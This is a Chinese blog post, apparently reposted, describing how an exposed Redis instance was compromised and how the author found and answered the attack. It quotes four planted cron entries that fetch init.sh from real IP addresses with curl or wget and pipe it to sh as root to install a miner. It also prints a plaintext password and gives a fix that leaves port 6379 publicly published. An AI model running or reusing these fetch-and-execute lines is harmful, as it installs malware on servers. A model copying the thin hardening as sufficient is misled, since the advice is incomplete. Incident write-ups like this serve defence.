记一次Redis被攻击的解决方案

Posted MrDeng886

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次Redis被攻击的解决方案相关的知识,希望对你有一定的参考价值。

近期在开发小程序后台时,发现redis里面的key有时会莫名奇妙地消失,而且是离过期时间很远的key。本人首先是认为服务器内存不足,然后查看了一下服务器内存。

free -m

发现剩余80M,其实还是足够的。然后我就怀疑是不是redis设置了最大内存上限,首先打开redis的客户端,因为我是使用docker部署的redis,所以使用了一下命令

docker exec -it containerID redis-cli

选择数据库

使用下面的命令查看内存配置

info memory

得到下面的结果

其中used_memory表示已被使用的内存,其中下面的used_memory_human表示人性化的数据,表示用了1.68M内存,所以看出不是内存不足的问题,然后我使用下面的指令查看历史调用过的指令

info commandstats

然后发现一个很震惊的事情,flushall命令居然被调用了300次,然后我又打开aof文件查看

果然flushall被使用过,稳妥妥遭受攻击了。然后我又打开redis desktop,发现又四个莫名其妙的东西(backup1、backup2…)

点进去看,发现写有一些sh脚本,分别如下

*/2 * * * * root cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://195.242.111.238/cleanfda/init.sh | sh

上网查了一下,通过这些脚本,攻击者会把redis当作矿机使用。

然后我想到的是马上为redis上密码,首先我把redis容器给删了

docker rm -f 容器id和容器名

然后打开redis的配置文件,设置密码,并且用下面的命令启动

docker run --name redis -v /root/redis/data:/data -v /root/redis/redis.conf:/usr/local/etc/redis.conf -p 6379:6379 -d redis redis-server

打开redis客户端设置密码

127.0.0.1:6379> config set requirepass zkcourse8346@

以上是关于记一次Redis被攻击的解决方案的主要内容,如果未能解决你的问题,请参考以下文章

记一次阿里云服务器因Redis被挖矿病毒crypto和pnscan攻击的case,附带解决方案

记一次阿里云服务器因Redis被挖矿病毒crypto和pnscan攻击的case,附带解决方案

记一次阿里云服务器因Redis被挖矿病毒crypto和pnscan攻击的case,附带解决方案

记一次网站被攻击 一

记一次阿里云服务器被用作DDOS攻击肉鸡

记一次由Redis分布式锁造成的重大事故,避免以后踩坑!